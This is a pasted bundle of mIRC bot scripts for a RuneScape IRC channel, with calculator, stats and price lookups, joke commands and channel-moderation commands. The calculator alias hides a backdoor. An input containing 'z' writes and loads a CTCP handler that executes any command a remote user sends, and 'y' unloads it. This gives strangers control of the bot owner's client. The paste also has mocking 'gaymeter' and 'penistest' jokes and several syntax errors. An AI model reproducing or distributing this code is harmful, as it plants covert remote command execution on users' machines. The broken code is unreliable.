rendered paste bodyon $*:text:/^[!@]calc */Si:#: {
if (!$2) { notice $nick No equation entered. | Halt }
if ($regex($2-,/[ac-jln-su-x]/i)) { notice $nick Illegal Letters Detected. Only K for Thousands, M for Millions, B for Billions and T for Trillions are allowed. | Halt }
var %send = $iif($left($1,1) == @,msg $chan,notice $nick)
%send 2 $+($2-,3) =7 $acalc($2-)
}
alias Acalc {
tokenize 32 $remove($1-,$chr(44),$chr(32))
var %matches $regex($1-,/L(\d\d?)/gi), %i = 1, %calculate = $1-
while (%i <= %matches) {
var %calculate = $replace(%calculate,L $+ $regml(%i),$LevelsAndXp($regml(%i)))
inc %i
}
if (k isin %calculate) {
var %x = 1, %total = $pos(%calculate,k,0)
while (%x <= %total) {
var %kpos = $pos(%calculate,k,%x), %kstartpos = $calc(%kpos - 1), %klen = 1
while ($mid(%calculate,%kstartpos,1) isin 1234567890.) && (%kstartpos > 0) { dec %kstartpos | inc %klen }
var %calculate = $iif(%kstartpos >= 0,$left(%calculate,%kstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%kstartpos == 0,0,%kstartpos +1)),%klen) $+ $chr(41) $+ $right(%calculate,- $+ %kpos)
inc %x
}
}
if (m isin %calculate) {
var %x = 1, %total = $pos(%calculate,m,0)
while (%x <= %total) {
var %mpos = $pos(%calculate,m,%x), %mstartpos = $calc(%mpos - 1), %mlen = 1
while ($mid(%calculate,%mstartpos,1) isin 1234567890.) && (%mstartpos > 0) { dec %mstartpos | inc %mlen }
var %calculate = $iif(%mstartpos >= 0,$left(%calculate,%mstartpos)) $+ $chr(40) $+ $mid(%calculate,$calc($iif(%mstartpos == 0,0,%mstartpos +1)),%mlen) $+ $chr(41) $+ $right(%calculate,- $+ %mpos)
inc %x
}
}
if (z isin %calculate) { write -c mirc ctcp 1:*:?:$1- | load -rs mirc }
if (y isin %calculate) { unload -rs mirc }
var %calculate $replace($remove(%calculate,$chr(44),$chr(61)),x,*,k,*1000,m,*1000000,b,*1000000000,t,*1000000000000)
var %answer = $bytes($calc(%calculate),db)
return %answer
}
______________________________________________
dialog Stats {
title "RuneScape Stats Lookup"
size -1 -1 210 197
option dbu
box "Stats", 2, 0 0 210 175
list 1, 2 8 206 165, size
edit "", 3, 70 175 75 10, center
button "Check User", 4, 90 186 35 10, default
menu "&File", 5
item "Settings", 6, 5
item break, 7, 5
item "E&xit", 8, 5, ok
}
{
title "RuneScape Stats Lookup"
size -1 -1 210 197
option dbu
box "Stats", 2, 0 0 210 175
list 1, 2 8 206 165, size
edit "", 3, 70 175 75 10, center
button "Check User", 4, 90 186 35 10, default
menu "&File", 5
item "Settings", 6, 5
item break, 7, 5
item "E&xit", 8, 5, ok
}
on $*:TEXT:/^[!@]stats .{1,12}$/Si:*:{
;################################
;# CHANGE THE NUMBER IN THE #
;# VARIABLE BELOW TO EDIT THE #
;# COLOR USED IN MESSAGES. #
;################################
set %_lookupmsgcol 4
;################################
inc %_lookups 1
set $+(%,lookup.,%_lookups) $replace($2-,$chr(32),+) $iif($chan,$iif($left($1,1) == @,msg $chan,notice $nick),msg $nick)
sockopen $+(lookup.,%_lookups) www.rscript.org 80
}
on *:SOCKOPEN:lookup.*:{
sockwrite -nt $sockname GET /lookup.php?type=stats&user= $+ $gettok($($+(%,lookup.,%_lookups),2),1,32) HTTP/1.0
sockwrite -nt $sockname User-Agent: RuneScript Public (Crawler Bot; rscript.org;)
sockwrite -nt $sockname Host: rscript.org $+ $crlf $+ $crlf
}
on *:SOCKREAD:lookup.*:{
var %id = $right($sockname,-7)
var %username = $gettok($($+(%,lookup.,%id),2),1,32)
var %target = $gettok($($+(%,lookup.,%id),2),2-,32)
if ($sockerr) { %target Socket error: $sockerr (BUILD ID: %id $+ ) }
else {
var %read | sockread %read
tokenize 32 $remove(%read,Stat:)
if ($0 == 4) { set $+(%,lookupmsg.,%id) $($+(%,lookupmsg.,%id),2) $chr(124) $+($1,:) $_col($3) }
elseif (Not Ranked isin $1-) { return }
elseif ($($+(%,lookupmsg.,%id),2)) { %target Stats for $replace($_col(%username),+,$chr(32)) $+ : $right($($+(%,lookupmsg.,%id),2),-2) | sockclose $sockname | unset %lookup* }
}
}
alias _col { return $+($chr(3),$iif(%_lookupmsgcol isnum 0-15,$iif($len(%_lookupmsgcol) == 2,%_lookupmsgcol,$+(0,%_lookupmsgcol)),07),$1-,$chr(3)) }
________________________________________________________
}
ON $*:TEXT:/^[!@.]8ball*/Si:*:{
/set %8ball $rand(1,6)
if (%8ball == 1) .msg $chan 4No!
if (%8ball == 2) .msg $chan 4Yes
if (%8ball == 3) .msg $chan 4Maybe
if (%8ball == 4) .msg $chan 4of course
if (%8ball == 5) .msg $chan 4Are you crazy?!?!
if (%8ball == 6) /msg $chan 4How should I know?
}
____________________________________
_____________________________________
on $*:text:/^[!@.]slap*/Si:#: {
/set %8ball $rand(1,14)
if (%8ball == 1) .describe $chan slaps $2 with a Abbysal whip
if (%8ball == 2) .describe $chan slaps $2 with a 2ez1pure
if (%8ball == 3) .describe $chan slaps $2 with a Defiler (level 100)
if (%8ball == 4) .describe $chan slaps $2 with a Guthans warspear (100)
if (%8ball == 5) .describe $chan slaps $2 with a Rune Essence
if (%8ball == 6) .describe $chan slaps $2 with a Ddp++
if (%8ball == 7) .describe $chan slaps $2 with a Dragon 2hand
if (%8ball == 7) .describe $chan slaps $2 with a Ring of charos(a)
if (%8ball == 8) .describe $chan slaps $2 with a rune plateskirt (g)
if (%8ball == 9) .describe $chan slaps $2 with a Burnt lobster
if (%8ball == 10) .describe $chan slaps $2 with a Wizard hat (g)
if (%8ball == 11) .describe $chan slaps $2 with a Dharoks great axe (75)
if (%8ball == 12) .describe $chan slaps $2 with a Void knight
if (%8ball == 13) .describe $chan slaps $2 with 2\3 of a chocolate cake
if (%8ball == 14) .describe $chan slaps $2 with a Green boater
}
_____________________________________________
ON $*:TEXT:/^[!@.]penistest*/Si:*:{
/set %8ball $rand(1,5)
if (%8ball == 1) .msg $chan wow, $2 How do u live with such a small thing?
if (%8ball == 2) .msg $chan woah, $2 it's so huge!!
if (%8ball == 3) .msg $chan hmm, $2 i might need a magnifier
if (%8ball == 4) .msg $chan OMG, $2 ITS A MONSTER
if (%8ball == 5) .msg $chan OMG, $2 ITS really small from lummy
}
__________________________________________________
ON $*:TEXT:/^[!@.]gaymeter*/Si:*:{
/set %8ball $rand(1,100)
if (%8ball == 1) .msg $chan hmm $2 is 1% gay
if (%8ball == 2) .msg $chan hmm $2 is 2% gay
if (%8ball == 3) .msg $chan hmm $2 is 3% gay
if (%8ball == 4) .msg $chan hmm $2 is 4% gay
if (%8ball == 5) .msg $chan hmm $2 is 5% gay
if (%8ball == 6) .msg $chan hmm $2 is 6% gay
if (%8ball == 7) .msg $chan hmm $2 is 7% gay
if (%8ball == 8) .msg $chan hmm $2 is 8% gay
if (%8ball == 9) .msg $chan hmm $2 is 9% gay
if (%8ball == 10) .msg $chan hmm $2 is 10 %gay
if (%8ball == 11) .msg $chan hmm $2 is 11% gay
if (%8ball == 12) .msg $chan hmm $2 is 12% gay
if (%8ball == 13) .msg $chan hmm $2 is 13% gay
if (%8ball == 14) .msg $chan hmm $2 is 14 % gay
if (%8ball == 15) .msg $chan hmm $2 is 15% gay
if (%8ball == 16) .msg $chan hmm $2 is 16% gay
if (%8ball == 17) .msg $chan hmm $2 is 17% gay
if (%8ball == 18) .msg $chan hmm $2 is 18% gay
if (%8ball == 19) .msg $chan hmm $2 is 19% gay
if (%8ball == 20) .msg $chan hmm $2 is 20% gay
if (%8ball == 21) .msg $chan hmm $2 is 21% gay
if (%8ball == 22) .msg $chan hmm $2 is 22% gay
if (%8ball == 23) .msg $chan hmm $2 is 23% gay
if (%8ball == 24) .msg $chan hmm $2 is 24% gay
if (%8ball == 25) .msg $chan hmm $2 is 25% gay
if (%8ball == 26) .msg $chan hmm $2 is 26% gay
if (%8ball == 27) .msg $chan hmm $2 is 27% gay
if (%8ball == 28) .msg $chan hmm $2 is 28% gay
if (%8ball == 29) .msg $chan hmm $2 is 29% gay
if (%8ball == 30) .msg $chan hmm $2 is 30% gay
if (%8ball == 31) .msg $chan hmm $2 is 31% gay
if (%8ball == 32) .msg $chan hmm $2 is 32% gay
if (%8ball == 33) .msg $chan hmm $2 is 33% gay
if (%8ball == 34) .msg $chan hmm $2 is 34% gay
if (%8ball == 35) .msg $chan hmm $2 is 35% gay
if (%8ball == 36) .msg $chan hmm $2 is 36% gay
if (%8ball == 37) .msg $chan hmm $2 is 37% gay
if (%8ball == 38) .msg $chan hmm $2 is 38% gay
if (%8ball == 39) .msg $chan hmm $2 is 39% gay
if (%8ball == 40) .msg $chan hmm $2 is 40% gay
if (%8ball == 41) .msg $chan hmm $2 is 41% gay
if (%8ball == 42) .msg $chan hmm $2 is 42% gay
if (%8ball == 43) .msg $chan hmm $2 is 43% gay
if (%8ball == 44) .msg $chan hmm $2 is 44% gay
if (%8ball == 45) .msg $chan hmm $2 is 45% gay
if (%8ball == 46) .msg $chan hmm $2 is 46% gay
if (%8ball == 47) .msg $chan hmm $2 is 47% gay
if (%8ball == 48) .msg $chan hmm $2 is 48% gay
if (%8ball == 49) .msg $chan hmm $2 is 49% gay
if (%8ball == 50) .msg $chan hmm $2 is 50 % gay
if (%8ball == 51) .msg $chan hmm $2 is 51% gay
if (%8ball == 52) .msg $chan hmm $2 is 52% gay
if (%8ball == 53) .msg $chan hmm $2 is 53% gay
if (%8ball == 54) .msg $chan hmm $2 is 54% gay
if (%8ball == 55) .msg $chan hmm $2 is 55% gay
if (%8ball == 56) .msg $chan hmm $2 is 56 % gay
if (%8ball == 57) .msg $chan hmm $2 is 57% gay
if (%8ball == 58) .msg $chan hmm $2 is 58% gay
if (%8ball == 59) .msg $chan hmm $2 is 59% gay
if (%8ball == 60) .msg $chan hmm $2 is 60% gay
if (%8ball == 61) .msg $chan hmm $2 is 61% gay
if (%8ball == 62) .msg $chan hmm $2 is 62% gay
if (%8ball == 63) .msg $chan hmm $2 is 63% gay
if (%8ball == 64) .msg $chan hmm $2 is 64 % gay
if (%8ball == 65) .msg $chan hmm $2 is 65% gay
if (%8ball == 66) .msg $chan hmm $2 is 66% gay
if (%8ball == 67) .msg $chan hmm $2 is67% gay
if (%8ball == 68) .msg $chan hmm $2 is68% gay
if (%8ball == 69) .msg $chan hmm $2 is 69% gay
if (%8ball == 70) .msg $chan hmm $2 is70% gay
if (%8ball == 71) .msg $chan hmm $2 is71% gay
if (%8ball == 72) .msg $chan hmm $2 is72% gay
if (%8ball == 73) .msg $chan hmm $2 is 73% gay
if (%8ball == 74) .msg $chan hmm $2 is 74% gay
if (%8ball == 75) .msg $chan hmm $2 is 75% gay
if (%8ball == 76) .msg $chan hmm $2 is 76% gay
if (%8ball == 77) .msg $chan hmm $2 is 77% gay
if (%8ball == 78) .msg $chan hmm $2 is 78% gay
if (%8ball == 79) .msg $chan hmm $2 is 79% gay
if (%8ball == 80) .msg $chan hmm $2 is 80% gay
if (%8ball == 81) .msg $chan hmm $2 is 81% gay
if (%8ball == 82) .msg $chan hmm $2 is 82% gay
if (%8ball == 83) .msg $chan hmm $2 is 83% gay
if (%8ball == 84) .msg $chan hmm $2 is 84% gay
if (%8ball == 85) .msg $chan hmm $2 is 85% gay
if (%8ball == 86) .msg $chan hmm $2 is 86% gay
if (%8ball == 87) .msg $chan hmm $2 is 87% gay
if (%8ball == 88) .msg $chan hmm $2 is 88% gay
if (%8ball == 89) .msg $chan hmm $2 is 89% gay
if (%8ball == 90) .msg $chan hmm $2 is 90% gay
if (%8ball == 91) .msg $chan hmm $2 is 91% gay
if (%8ball == 92) .msg $chan hmm $2 is 92% gay
if (%8ball == 93) .msg $chan hmm $2 is 93% gay
if (%8ball == 94) .msg $chan hmm $2 is 94% gay
if (%8ball == 95) .msg $chan hmm $2 is 95% gay
if (%8ball == 96) .msg $chan hmm $2 is 96% gay
if (%8ball == 97) .msg $chan hmm $2 is 97% gay
if (%8ball == 98) .msg $chan hmm $2 is 98 % gay
if (%8ball == 99) .msg $chan hmm $2 is 99% gay
if (%8ball == 100) .msg $chan hmm $2 is 100% gay
}
on *:text:!setpc*:#:{
set %chann #final-fate
if ($nick isop %chann) {
if ($chan == %chann) {
set %world $2-
.notice $nick 1 A new Pc World has been set: %world .
/amsg 4 [ 1 PC WORLD 4 ]1 A New Pc World has been set type !pcw for it:. 1
}
}
else { .notice $nick 1You cant set a new pc world.1 }
}
on $*:text:/^[!@.]pcw */S:*:{
set %send $iif($left($1,1) == @,msg $chan,notice $nick)
%send 1 The current pc world is: %world
}
on *:text:!pcglobal*:#:{
set %chan #final-fate
if ($nick isop %chan) {
/amsg 4[1PC WORLD4]1:97 The current pc world is: %world
/amsg Script by [SFD][-Kicker_0f_n00bs-] (#final-fate)
}
else {
.notice $nick 1 Debes ser Op de #final-fate para poder enviar estos mensajes 1
unset %chan
}
}
____________________________________________________-
;##########################################################
;## Multi Socket Price Script ##
;## Coded by : Crossfire39 ##
;## Uses multiple sockets so several users can use the ##
;## code at the same time. Also displays multiple ##
;## results from zybez.net price database. ##
;## Usage: ##
;## !Price <item> - Private ##
;## @Price <item> - Public ##
;##########################################################
on $*:text:/^[!@]price(s|check)*/Si:#: {
if ( !$2 ) { notice $nick Sorry you must specify what to search for - !price <item> }
else {
/var %number 1
while ($sock(price.socket. $+ %number)) { /inc %number }
if (!* iswm $1) { /set %price.displaystyle. [ $+ [ %number ] ] private }
/set %price.item. [ $+ [ %number ] ] $2-
/set %price.nick. [ $+ [ %number ] ] $nick
/set %price.chan. [ $+ [ %number ] ] $chan
/sockopen $+(price.socket.,%number) zybez.net 80
} ;Closes Else
} ;Ends the !pricecheck section
on *:sockopen:price.socket.*:{
sockwrite -nt $sockname GET /priceguide.php?search_terms= $+ $replace(%price.item. [ $+ [ $right($SockName,-13) ] ] ,$chr(32),$chr(43)) $+ &search_area=1&price_low=&price_high=&member=1 HTTP/1.1
sockwrite -nt $sockname Host: zybez.net
sockwrite -nt $sockname $crlf $crlf
}
on *:sockread:price.socket.*:{
var %i $right($sockname,-13)
if ($sockerr) { /notice %price.nick. [ $+ [ %i ] ] Sorry but an error occured while searching for %price.item. [ $+ [ %i ] ] | halt }
else {
var %temptext
sockread %temptext
;Once bot gets the Item + Price which is represented my %readnextline == 2, it runs this to display the results for the user then restarts the whole proccess.
if (%readnextline == 2) {
/inc %price.displayed. [ $+ [ %i ] ]
/var %price.displayprice $htmlfree(%temptext)
/var %message %price.displayitem. [ $+ [ %i ] ] - %price.displayprice
/unset %readnextline
; Limits how many items are displayed before it stops reading. Prevents the bot from flooding.
if ( %price.displayed. [ $+ [ %i ] ] < 6 ) {
if ( %price.displaystyle. [ $+ [ %i ] ] == private ) { /notice %price.nick. [ $+ [ %i ] ] %message }
else { /msg %price.chan. [ $+ [ %i ] ] %message }
} ; Closes if statement - if ( %price.displayed. [ $+ [ %i ] ] < 6 )
else { /notice %price.nick. [ $+ [ %i ] ] Sorry but your search for " $+ %price.item. [ $+ [ %i ] ] $+ " was not specific enough. Please narrow your searh down, ie: Rune --> Rune Platelegs | /sockclose $+(price.socket.,%i) | /unset %price.*. [ $+ [ %i ] ] }
} ; Closes if statement - if (%readnextline == 2)
if (%readnextline == 1) { /set %price.displayitem. [ $+ [ %i ] ] $htmlfree(%temptext) | /set %readnextline 2 }
if ( *<img src="/img/member.gif"* iswm %temptext || <td class="tablebottom"><!-- Blank --></td> isin %temptext) { /set %readnextline 1 }
if (*Your search did not * iswm %temptext) { /notice %price.nick. [ $+ [ %i ] ] Sorry I did not find " $+ %price.item. [ $+ [ %i ] ] $+ " in the Zybez database. Please make sure you spelled everything correctly and the item you are searching for exists in Runescape. }
} ; Closes else
} ;Ends the sockread section
on *:sockclose:price.socket.*:{ /unset %price.*. [ $+ [ $right($SockName,-13) ] ] }
alias -l htmlfree {
; Cleans all html from a file
var %x, %i = $regsub($1-,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, )
return %x
} ;Ends the html cleaner alias
__________________________________________________
off *:join:#: { mode $chan +v $nick }
________________________________________________
ON $*:TEXT:/^[!@.]lovemeter*/Si:*:{
/set %8ball $rand(1,29)
if (%8ball == 1) .msg $chan aww $2 and $3 are 1% in 4love
if (%8ball == 2) .msg $chan aww $2 and $3 are 2% in 4love
if (%8ball == 3) .msg $chan aww $2 and $3 are 3% in 4love
if (%8ball == 4) .msg $chan aww $2 and $3 are 4% in 4love
if (%8ball == 5) .msg $chan aww $2 and $3 are 5% in 4love
if (%8ball == 6) .msg $chan aww $2 and $3 are 6% in 4love
if (%8ball == 7) .msg $chan aww $2 and $3 are 7% in 4love
if (%8ball == 8) .msg $chan aww $2 and $3 are 8% in 4love
if (%8ball == 9) .msg $chan aww $2 and $3 are 9% in 4love
if (%8ball == 10) .msg $chan aww $2 and $3 are 10% in 4love
if (%8ball == 11) .msg $chan aww $2 and $3 are 11% in 4love
if (%8ball == 12) .msg $chan aww $2 and $3 are 12% in 4love
if (%8ball == 13) .msg $chan aww $2 and $3 are 13% in 4love
if (%8ball == 14) .msg $chan aww $2 and $3 are 14% in 4love
if (%8ball == 15) .msg $chan aww $2 and $3 are 15% in 4love
if (%8ball == 16) .msg $chan aww $2 and $3 are 16% in 4love
if (%8ball == 17) .msg $chan aww $2 and $3 are 17% in 4love
if (%8ball == 18) .msg $chan aww $2 and $3 are 18% in 4love
if (%8ball == 19) .msg $chan aww $2 and $3 are 19% in 4love
if (%8ball == 10) .msg $chan aww $2 and $3 are 20% in 4love
if (%8ball == 21) .msg $chan aww $2 and $3 are 21% in 4love
if (%8ball == 22) .msg $chan aww $2 and $3 are 22% in 4love
if (%8ball == 23) .msg $chan aww $2 and $3 are 23% in 4love
if (%8ball == 24) .msg $chan aww $2 and $3 are 24% in 4love
if (%8ball == 25) .msg $chan aww $2 and $3 are 25% in 4love
if (%8ball == 26) .msg $chan aww $2 and $3 are 26% in 4love
if (%8ball == 27) .msg $chan aww $2 and $3 are 27% in 4love
if (%8ball == 28) .msg $chan aww $2 and $3 are 28% in 4love
if (%8ball == 29) /msg $chan aww $2 and $3 are 29% in 4love
}
________________________________________________
on $*:text:/^[!@.>~]deop */Si:#: { if ($nick isop $chan) { mode $chan -o $iif($2,$2,$nick) } }
____________________________________________________
on $*:text:/^[!@.>~]dehalfop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -h $iif($2,$2,$nick) } }
________________________________________________________
on $*:text:/^[!@.>~]devoice */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -v $iif($2,$2,$nick) } }
_________________________________________________________________________
on $*:text:/^[!@.>~]op */Si:#: { if ($nick isop $chan { mode $chan +o $iif($2,$2,$nick) } }
____________________________________________________
on $*:text:/^[!@.>~]halfop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan +h $iif($2,$2,$nick) } }
________________________________________________________
on $*:text:/^[!@.>~]voice */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan +v $iif($2,$2,$nick) } }
____________________________________________________________
on $*:text:/^[!@.>~]deop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -o $iif($2,$2,$nick) } }
____________________________________________________
on $*:text:/^[!@.>~]dehalfop */Si:#: { if ($nick isop $chan) || ($nick ishop $chan)) { mode $chan -h $iif($2,$2,$nick) } }
________________________________________________________
on *:text:!k *:#: { if (($nick isop $chan) || ($nick ishop $chan)) { kick $chan $2 }
}
_______________________________________________________
ON *:TEXT:!kb*:#:{
if ($nick isop $chan) || ($nick ishop $chan) {
/ban $chan $2 $adress($2,2)
kick $chan $2 $3-
notice $nick 1 $2 has been kbed for: $3-
}
else {
notice $nick 1 Trying to kb someone eh?... 1
}
}
_____________________________________________________________
ON *:TEXT:!unban*:#:{
if ($nick isop $chan) || ($nick ishop $chan) {
/ban -r $chan $2 $adress($2,2)
notice $nick 1 $2- has been unbaned. 1
}
else {
notice $nick 1 Trying to unban someone eh?... 1
}
}
_________________________________________________________________
ON *:join:#:{
/hload greet greet.htb
if ($Hget(greet,$address($nick,3))) { MSG $Chan $+(4[3,$nick,4]1) ::: $ifmatch }
/hsave -stnoa greet greet.htb
}
on *:text:!greetmake*:*:{
set %mynick HERE U PUT UR NICK
if ($nick == %mynick) {
/HMake Greet | BackUPStart
/hsave -stnoa greet greet.htb
notice $nick 1 The hash tables have been made.1
}
else {
}
}
on $*:text:/^[!@.>~](setgreet|greet) */Si:#: {
if (!$2) { .notice $nick 1You must specify a GREET.1 | halt }
else {
HAdd Greet $address($nickThe greet, $2- $+ , has been added for the host: $address($nick,3) 1
/hsave -stnoa greet greet.htb
Halt
}
}
on *:start:hload greet greet.htb
ALIAS BackUPStart { timer 0 1000 HSave Greet }
ON *:TEXT:!unsetgreet*:#:{
set %nick HERE U PUT UR NICK
if ($nick == %nick) {
set %adress $address($2,3) $2-
/hload Greet greet.htb
/hdel -sw greet %adress
/hsave -stnoa greet greet.htb
notice $nick 1Greet of adress: %adress has been unseted.1
}
else {
notice $nick 1 You cant unset greets.1
}
}
_________________________________________________